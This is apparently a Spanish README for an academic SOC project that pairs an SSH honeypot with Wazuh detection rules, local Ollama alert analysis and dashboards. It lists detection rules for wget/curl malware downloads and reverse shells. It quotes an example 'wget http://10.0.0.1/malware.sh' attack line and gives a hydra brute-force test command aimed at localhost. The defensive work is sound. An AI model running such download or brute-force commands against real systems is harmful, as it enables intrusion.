SOC profesional que detecta ataques reales, los analiza con Inteligencia Artificial local y los presenta en dashboards interactivos.
Proyecto de Máster en Ciberseguridad — 100% local, sin coste, alineado con privacidad y cumplimiento tipo ISO/IEC 27001.
📖 Haz clic para expandir
- ¿Qué es Valhalla SOC?
- ¿Cómo funciona? (Explicación simple)
- Arquitectura del Sistema
- Componentes Principales
- ¿Qué es Ollama y qué hace aquí?
- Capturas de Pantalla
- Requisitos Previos
- Guía de Puesta en Marcha
- Dashboards y Visualizaciones
- Estructura del Proyecto
- Aplicación de Escritorio (Standalone)
- Preguntas Frecuentes (FAQ)
- Licencia y Créditos
Valhalla SOC es un Centro de Operaciones de Seguridad (Security Operations Center) completo que:
- 🪤 Despliega un honeypot (una trampa) que simula ser un servidor real para atraer atacantes
- 🔍 Detecta ataques en tiempo real como fuerza bruta, ejecución de comandos maliciosos, descargas de malware y reverse shells
- 🤖 Analiza cada amenaza con IA local usando Ollama (sin enviar datos a la nube)
- 📊 Presenta todo en dashboards profesionales con gráficas, tablas y métricas
- 🗺️ Mapea ataques al framework MITRE ATT&CK para clasificarlos según estándares internacionales
En palabras simples: Es como poner una cámara de seguridad inteligente en internet que graba a los ladrones, analiza lo que hacen y te lo explica.
Imagina un edificio con un sistema de seguridad completo:
🏠 Edificio → 🏪 Tienda falsa → 📹 Cámaras → 🧠 Analista IA → 📺 Monitor
(Internet) (Honeypot Cowrie) (Wazuh SIEM) (Ollama) (Dashboard)
| Paso | Componente | Qué sucede |
|---|---|---|
| 1️⃣ | 🪤 Cowrie | Se conecta a internet haciéndose pasar por un servidor SSH real. Los atacantes/bots lo encuentran e intentan entrar |
| 2️⃣ | 📝 Logs JSON | Todo queda registrado: cada intento de login, cada comando, cada archivo descargado |
| 3️⃣ | 🔍 Wazuh | Lee esos registros en tiempo real y los clasifica: "fuerza bruta", "descarga de malware", "reverse shell" |
| 4️⃣ | 🤖 Ollama | Recibe las alertas más graves y las analiza con IA, explicando qué está haciendo el atacante |
| 5️⃣ | 📊 Dashboard | Muestra todo de forma visual: gráficas, IPs atacantes, comandos ejecutados, mapeo MITRE ATT&CK |
┌─────────────────────────────────────────────┐
│ INTERNET / ATACANTES │
└────────────────────┬────────────────────────┘
│
Puerto 2222
│
┌────────────────────▼────────────────────────┐
│ 🪤 COWRIE HONEYPOT │
│ Simula SSH/Telnet real │
│ Registra TODA la actividad en JSON │
└────────────────────┬────────────────────────┘
Volumen compartido
(cowrie_logs)
│
┌────────────────────▼────────────────────────┐
│ 🔍 WAZUH MANAGER │
│ Lee logs de Cowrie en tiempo real │
│ Aplica reglas personalizadas │
│ Clasifica alertas por severidad │
│ Mapea a MITRE ATT&CK │
│ │
│ Cuando alerta nivel ≥ 5: │
│ ────► Llama a Ollama para análisis IA │
└──────────┬──────────────┬───────────────────┘
│ │
┌──────────▼──────┐ ┌────▼──────────────────┐
│ 🗄️ WAZUH │ │ 🤖 OLLAMA (IA Local) │
│ INDEXER │ │ Puerto 11434 │
│ (OpenSearch) │ │ Modelo: qwen2.5 │
│ Puerto 9200 │ │ Analiza amenazas │
└──────────┬──────┘ └────────────────────────┘
│
┌──────────▼──────────────────────────────────┐
│ 📊 WAZUH DASHBOARD │
│ Puerto 443 (HTTPS) │
│ Dashboards interactivos │
│ Reportes PDF/CSV │
│ Alertas en tiempo real │
└─────────────────────────────────────────────┘
Atacante → SSH al Honeypot → Log JSON → Wazuh lee log → Aplica decoder →
→ Aplica regla → Genera alerta → Envía a Ollama (si nivel ≥ 5) →
→ IA analiza → Todo se indexa en OpenSearch → Dashboard lo muestra
📖 Más información
¿Qué es? Un programa que simula ser un servidor SSH/Telnet real. Cuando un atacante se conecta, cree que está en un servidor de verdad, pero todo es falso.
¿Qué hace en Valhalla SOC?
- Escucha en el puerto 2222 (SSH) y 2223 (Telnet)
- Simula ser un servidor Ubuntu con OpenSSH 8.9
- Permite que los atacantes "entren" con contraseñas comunes (root/admin, admin/password, etc.)
- Graba absolutamente todo: cada tecla, cada comando, cada archivo descargado
- Genera archivos de log en formato JSON
Archivo de configuración: cowrie_config/cowrie.cfg
📖 Más información
¿Qué es? Wazuh es un SIEM (Security Information and Event Management) de código abierto. Es el sistema que recibe logs, los analiza y genera alertas.
| Componente | Puerto | Función |
|---|---|---|
| Wazuh Manager | 1514, 1515, 55000 | Lee los logs de Cowrie, aplica reglas, genera alertas, llama a Ollama |
| Wazuh Indexer | 9200 | Base de datos (OpenSearch) que almacena todas las alertas |
| Wazuh Dashboard | 443 | Interfaz web para ver dashboards, alertas y reportes |
Reglas de detección personalizadas:
| ID Regla | Nivel | Qué detecta | MITRE ATT&CK |
|---|---|---|---|
| 100110 | 5 | Login fallido | — |
| 100111 | 10 | 🔴 Fuerza bruta (5+ fallos en 120s) | T1110 |
| 100112 | 9 | 🟠 Login exitoso en honeypot | T1078 |
| 100113 | 12 | 🔴 Login exitoso tras fuerza bruta | T1078, T1110 |
| 100120 | 8 | 🟡 Comando ejecutado | T1059 |
| 100121 | 9 | 🟠 Comandos de reconocimiento | T1082 |
| 100130 | 13 | 🔴 Descarga de malware (wget/curl) | T1105 |
| 100140 | 15 | 🔴 Reverse shell | T1059, T1071 |
| 100150 | 14 | 🔴 Desactivar firewall/seguridad | T1562 |
| 100160 | 11 | 🔴 Persistencia (crontab) | T1053 |
| 100170 | 12 | 🔴 Anti-forense (borrar logs) | T1070 |
| 100180 | 12 | 🔴 Escalada de privilegios | T1548 |
Ollama es un programa que permite ejecutar modelos de Inteligencia Artificial (IA) directamente en tu ordenador, sin necesidad de internet ni servidores en la nube. Es como tener un "ChatGPT" local y privado.
| Característica | Ollama (Local) | ChatGPT / Nube |
|---|---|---|
| Privacidad | ✅ Los datos nunca salen de tu equipo | ❌ Los datos van a servidores externos |
| Coste | ✅ Gratis, sin suscripciones | ❌ Pago por uso (costoso) |
| Cumplimiento normativo | ✅ Alineado con ISO 27001, GDPR | |
| Velocidad | ✅ Sin latencia de red | ❌ Depende de la conexión |
| Disponibilidad | ✅ Funciona sin internet | ❌ Requiere internet |
Ollama actúa como un analista de seguridad automatizado:
1. Wazuh detecta una amenaza (nivel ≥ 5)
↓
2. Wazuh ejecuta custom-ollama.py con la alerta en JSON
↓
3. El script construye un prompt:
"Eres un analista SOC. Alerta: 'Descarga de malware — wget
http://10.0.0.1/malware.sh' desde IP 185.220.101.1.
En 2 oraciones: describe el objetivo y el nivel de amenaza."
↓
4. Envía POST a http://host.docker.internal:11434/api/generate
↓
5. Ollama responde:
"El atacante está descargando un script malicioso desde un servidor
C2 para establecer persistencia. Nivel: CRÍTICO."
↓
6. La respuesta se indexa como alerta "Ollama AI Insight" (regla 100200)
↓
7. Aparece en el Dashboard
| Parámetro | Valor |
|---|---|
| Modelo | qwen2.5-coder:7b (7 mil millones de parámetros) |
| Tamaño | ~4.5 GB |
| Temperatura | 0.3 (respuestas técnicas y deterministas) |
| Max tokens | 150 (respuestas concisas, ~2 oraciones) |
Ollama (en tu PC, puerto 11434)
↑
│ POST http://host.docker.internal:11434/api/generate
│
Wazuh Manager (dentro de Docker)
│
└── Script: /var/ossec/integrations/custom-ollama
host.docker.internales un nombre especial de Docker que significa "la IP de mi PC anfitrión vista desde dentro del contenedor".
Resumen de agentes, alertas de las últimas 24 horas, módulos de seguridad
Tácticas detectadas: Evasión de Defensa, Acceso Inicial, Persistencia, Escalada de Privilegios
12.918 alertas críticas, timeline de eventos, top IPs atacantes, comandos ejecutados
Resumen por regla, top 20 IPs atacantes, cobertura MITRE ATT&CK
7 monitores habilitados: Brute Force, Login Exitoso, Malware, Reverse Shell, Evasión, Volumen Anómalo, Persistencia
Actividad Elevada - Advertencia, severidad 3 (Medio), monitor de Volumen Anómalo
Exportación directa desde el dashboard
Vista principal del sistema Valhalla SOC con métricas en tiempo real
Pantalla de login rediseñada con efectos Glassmorphism y polígonos complejos
| Recurso | Mínimo | Recomendado |
|---|---|---|
| RAM | 8 GB | 16 GB |
| CPU | 4 cores | 8 cores |
| Disco | 20 GB libres | 50 GB libres |
| GPU | No necesaria | GPU NVIDIA (acelera Ollama) |
| Software | Para qué | Descargar |
|---|---|---|
| Docker Desktop | Ejecutar todos los servicios | docker.com |
| Ollama | IA local | ollama.ai |
| Git | Clonar el repositorio | git-scm.com |
| Python 3.8+ | Scripts de configuración | python.org |
Además del dashboard nativo de Wazuh, Valhalla SOC incluye un dashboard propio desarrollado con HTML/CSS/JS que se ejecuta en http://localhost:3000.
- 🎨 Interfaz moderna con visualización de amenazas en tiempo real
- 🔐 Sistema de autenticación con JWT
- 📊 Dashboard interactivo con métricas del honeypot
- 🎫 Gestión de tickets SOC
- 📈 Exportación de reportes en múltiples formatos
| Componente | Puerto | Descripción |
|---|---|---|
| Sistema Valhalla | 3000 |
Frontend (HUD) + Backend (API) unificados |
Toda la infraestructura se gestiona ahora a través de Docker:
docker compose up -d --build📖 Manual completo disponible en
MANUAL.md
Guía detallada:
docs/INSTALACION_PRIMERA_VEZ.md
# 1. Clonar el repositorio
git clone https://github.com/heindall92/Proyecto-Master-Ciberseguridad-Evolve-Yoandy.git
cd Proyecto-Master-Ciberseguridad-Evolve-Yoandy
# 2. Configurar secretos (NO copiar .env.example a mano)
# Windows: setup.bat | Linux: ./scripts/setup_env.sh | make setup
python scripts/setup_env.py
# 3. Ollama + modelo IA
ollama pull qwen2.5-coder:7b
# 4. Levantar infraestructura
docker compose --profile labs up -d --build
# 5. Wazuh (esperar 3-5 min tras paso 4)
pip install requests
python create_dashboards.py
python setup_monitors.py
python setup_reports.pyEn Windows, Valhalla-Runner.bat ejecuta el paso 2 automáticamente si falta .env.
Entrega limpia: el repo no incluye tickets, chats ni usuarios de prueba. Solo admin tras el setup. Ver docs/INSTALACION_PRIMERA_VEZ.md (sección Entrega limpia).
| Servicio | URL | Credenciales |
|---|---|---|
| 🏠 Valhalla SOC Dashboard | http://localhost:3000 |
admin + contraseña elegida en el setup (.env.setup-backup) |
| 📊 Dashboard Wazuh (Nativo) | https://localhost |
admin / admin |
| 🔌 Wazuh API | https://localhost:55000 |
wazuh-wui / wazuh-wui |
| 🗄️ OpenSearch | https://localhost:9200 |
admin / admin |
| 🪤 Honeypot SSH | ssh localhost -p 2222 |
¡Es la trampa! 🪤 |
| 🤖 Ollama API | http://localhost:11434 |
Sin autenticación |
# Login fallido
ssh root@localhost -p 2222
# Fuerza bruta (con hydra)
hydra -l root -P wordlist.txt ssh://localhost:2222
https://localhost/app/dashboards#/view/valhalla-soc-cowrie
- 🔴 Contador de alertas críticas
- 🥧 Distribución por severidad
- 📈 Timeline de eventos
- 🏆 Top 10 IPs atacantes
- 📋 Comandos ejecutados
https://localhost/app/dashboards#/view/valhalla-soc-reports
- 📊 Alertas por nivel diario
- 📋 Resumen por regla
- 🗺️ Cobertura MITRE ATT&CK
| Monitor | Severidad |
|---|---|
| Brute Force SSH | 🔴 CRÍTICO |
| Login Exitoso en Honeypot | 🔴 CRÍTICO |
| Descarga de Malware | 🔴 CRÍTICO |
| Reverse Shell / C2 | 🔴 CRÍTICO |
| Evasión de Defensa | 🔴 CRÍTICO |
| Volumen Anómalo (50+ eventos) | 🔴 CRÍTICO |
| Persistencia (crontab) | 🟠 ALTO |
- 🚀 Chat de Operadores: Sistema basado en WebSockets para comunicación instantánea entre múltiples navegadores o equipos.
- 💾 Persistencia Total: Historial de chat almacenado en base de datos para no perder mensajes al refrescar o cambiar de sesión.
- 🔔 Notificaciones Visuales: Alertas luminosas (Neon Red) cuando hay mensajes nuevos para el operador.
- 🔍 Watchlist de IOCs: Registro persistente de IPs, Hashes y Dominios maliciosos detectados mediante el modelo de datos unificado.
- 🚫 Bloqueo Directo: Botón "Bloquear en Firewall" integrado directamente en la interfaz de análisis de indicadores.
- 📊 Integración con VirusTotal: Análisis profundo de indicadores con reportes detallados cargados en tiempo real desde la API.
Valhalla-SOC/
├── 📄 docker-compose.yml ← Orquestación de servicios
├── 📄 .env.example ← Variables de entorno
├── 📄 README.md ← Este archivo
├── 📄 MANUAL.md ← Manual de usuario completo
│
├── 📂 config/
│ ├── certs.yml ← Definición de nodos para certs
│ └── 📂 wazuh_indexer_ssl_certs/ ← Certificados TLS
│
├── 📂 cowrie_config/
│ ├── cowrie.cfg ← Configuración del honeypot
│ └── userdb.txt ← Credenciales trampa
│
├── 📂 wazuh_config/
│ ├── ossec.conf ← Config principal Wazuh
│ ├── 📂 decoders/ ← Parseo de logs Cowrie
│ ├── 📂 rules/ ← Reglas de detección
│ └── 📂 integrations/
│ ├── custom-ollama.py ← 🤖 Integración Ollama IA
│ └── custom-valhalla.py ← Integración backend
│
├── 📄 create_dashboards.py ← Crear dashboards Cowrie
├── 📄 setup_monitors.py ← Crear monitores de alertas
└── 📄 setup_reports.py ← Crear reportes de seguridad
Valhalla SOC incluye una versión nativa para Windows basada en Electron. Esta arquitectura ha sido diseñada para garantizar la continuidad de las operaciones tácticas, permitiendo el acceso a la consola de control incluso en escenarios de desconexión total o fallo en los servicios centrales (Wazuh/Docker).
- Disponibilidad Continua (Modo Offline): El sistema detecta automáticamente la pérdida de conexión con el backend y activa un modo de emergencia. Esto permite acceder a la interfaz y consultar los procedimientos operativos (Runbooks) almacenados localmente.
- Entorno Seguro: Ejecución en un contenedor de escritorio aislado con políticas de seguridad optimizadas para la comunicación local.
- Despliegue Simplificado: Generación de un instalador
.exeautónomo con la identidad visual oficial de Valhalla SOC.
Para generar tu propio ejecutable de escritorio:
cd frontend
npm install
npm run build:exeEl instalador final se generará en la ruta: frontend/dist_electron/Valhalla SOC Setup 0.1.0.exe
🔧 Generales
¿Necesito saber programar? No. Solo ejecutar comandos básicos en la terminal.
¿Es legal poner un honeypot? Sí, siempre que sea en tu propia red.
¿Puede dañar mi ordenador? No. Todo corre dentro de Docker (contenedores aislados).
¿Funciona en Windows/Linux/Mac? Sí, en los tres.
🤖 Sobre Ollama y la IA
¿Es obligatorio Ollama? No. El sistema funciona sin él, pero no tendrás análisis IA.
¿Ollama envía mis datos a internet? No. 100% local.
¿Cuánta RAM necesita Ollama? ~4-6 GB adicionales para el modelo.
¿Puedo usar otro modelo? Sí. Cambia OLLAMA_MODEL en .env. Alternativas: llama3:8b, mistral:7b.
¿Qué pasa si Ollama no está corriendo? Las alertas siguen funcionando, solo falta el análisis IA.
🔍 Sobre Wazuh
Niveles de alerta:
| Nivel | Significado |
|---|---|
| 0-4 | 🟢 Bajo / Informativo |
| 5-7 | 🟡 Medio |
| 8-9 | 🟠 Alto |
| 10-12 | 🔴 Muy Alto |
| 13-15 | ⚫ Crítico |
¿Qué es MITRE ATT&CK? Base de conocimiento que clasifica técnicas de ataque (ej: T1110 = Fuerza bruta).
🐛 Problemas Comunes
Contenedores se reinician → Falta RAM. Necesitas ≥8 GB libres para Docker.
No accedo al Dashboard → Espera 3-5 min. Verifica con docker compose ps.
Certificado da error → Normal. Es auto-firmado. Acepta la excepción.
Ollama no analiza → Verifica: curl http://localhost:11434
¿Cómo paro todo? → docker compose down
¿Cómo borro todo? → docker compose down -v
| Tecnología | Licencia | Web |
|---|---|---|
| Wazuh | GPLv2 | wazuh.com |
| Cowrie | MIT | github.com/cowrie |
| Ollama | MIT | ollama.ai |
| Docker | Apache 2.0 | docker.com |
Proyecto académico desarrollado durante el Master en Ciberseguridad de Evolve.








